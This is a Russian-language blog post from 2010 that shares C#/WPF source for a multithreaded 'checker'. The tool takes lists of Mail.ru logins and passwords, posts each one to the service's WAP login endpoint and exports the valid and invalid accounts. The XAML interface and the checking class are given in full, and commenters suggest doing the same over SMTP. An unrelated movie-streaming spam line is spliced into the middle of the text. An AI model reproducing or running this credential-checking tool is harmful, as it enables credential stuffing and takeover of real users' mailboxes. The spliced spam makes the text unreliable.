MailRuChekershke
Автор: admin Фев.15.2010 Категория: Development, WPF
На выходных хотелось чего-нибудь написать, но при этом чтобы мозг особо и не напрягался.
Тут общаясь со slider’ом понял что у парня проблема. Решил помочь, да и на античате давно нет активности.
Собственно написал ему многопоточный чекер почтовых ящиков для сервиса — Mail.ru (валид/невалид).
Писал на C#, .NET Framework 3.5, Visual Studio 2010 RC1. Заняло 3 часа (+конвертер с его странного формата ).
Использовал WPF (В последнее время все больше на него подсаживаюсь).
Собственно ниже идет исходник.
<window x:Class="MailRuChekershke.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:obj="clr-namespace:MailRuChekershke" Title="MailRuChecerkshke (c) W!z@rD (special 4 slider)" Height="350" Width="525"> </window><window .Resources> <obj :AccountCollection x:Key="accounts" /> </window> <dockpanel LastChildFill="True"> <statusbar DockPanel.Dock="Bottom" Height="23"> <progressbar Name="TotalProgress_pb" Height="21" Width="100"/> <textblock Name="Text_tb"></textblock> </statusbar> <tabcontrol> <tabitem Header="Список"> <listview Name="Accounts_lv" ItemsSource="{DynamicResource accounts}"> </listview><listview .View> <gridview> <gridviewcolumn Header="Логин" Width="150" DisplayMemberBinding="{Binding Login}"/> <gridviewcolumn Header="Пароль" Width="130" DisplayMemberBinding="{Binding Password}"/> <gridviewcolumn Header="Домен" Width="100" DisplayMemberBinding="{Binding Domain}"/> <gridviewcolumn Header="Валид?" Width="100" DisplayMemberBinding="{Binding IsValid}"/> </gridview> </listview> <listview .ContextMenu> <contextmenu> <menuitem Header="Импорт" Click="MenuItem_Click" /> <menuitem Header="Экспорт"> <menuitem Header="Валид" Click="MenuItem_Click_1" /> <separator /> <menuitem Header="Невалид" Click="MenuItem_Click_2" /> <separator /> <menuitem Header="Все" Click="MenuItem_Click_3"/> </menuitem> <separator /> <menuitem Header="Запустить" Click="MenuItem_Click_5" /> <separator /> <menuitem Header="Копировать логин" Click="MenuItem_Click_6"/> <menuitem Header="Копировать пароль" Click="MenuItem_Click_7"/> <separator /> <menuitem Header="Выход" Click="MenuItem_Click_4" /> </contextmenu> </listview> </tabitem> <tabitem Header="Настройки"> <canvas> <textblock Canvas.Top="10" Canvas.Left="5">Потоков</textblock> <textbox Name="ThreadCount_tb" Canvas.Top="7" Canvas.Left="50" Width="40">5</textbox> </canvas> </tabitem> </tabcontrol> </dockpanel>
И функция проверки, простая, особо не заморачивался.Watch Froning The Fittest Man In History (2015) Full Movie Online Streaming Online and Download
public class Checker { public const string URL = "http://xhtml.wap.mail.ru/cgi-bin/auth?rand=1926924592"; private readonly Account _account; public Checker(Account acc) { _account = acc; } private static string SendPost(string postData) { var httpWebRequest = (HttpWebRequest)WebRequest.Create(URL); httpWebRequest.AllowAutoRedirect = false; httpWebRequest.Method = "POST"; httpWebRequest.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.5.30729)"; httpWebRequest.ContentType = "application/x-www-form-urlencoded"; httpWebRequest.Referer = "http://xhtml.wap.mail.ru/cgi-bin/splash_mail"; var buffer = Encoding.ASCII.GetBytes(postData); httpWebRequest.ContentLength = buffer.Length; using (var writer = httpWebRequest.GetRequestStream()) { writer.Write(buffer, 0, buffer.Length); } using (var httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse()) { using (var stream = httpWebResponse.GetResponseStream()) { using (var reader = new StreamReader(stream, Encoding.GetEncoding(1251))) { var data = reader.ReadToEnd(); return data; } } } } public bool IsValid() { var page = SendPost(string.Format("Login={0}&Domain={1}&Password={2}&page=", _account.Login, _account.Domain, _account.Password)); return page.IndexOf("title=\"wait...\"", StringComparison.InvariantCultureIgnoreCase) != -1; } }
Февраль 25th, 2010 on 02:45
А зачем было c http заморачиваться?
SMTP для этих целей не проще заюзать?
ЗЫ: слаю приветы)
Февраль 28th, 2010 on 18:28
об smtp даже не подумал =\
Февраль 24th, 2011 on 11:54
перезалей исходники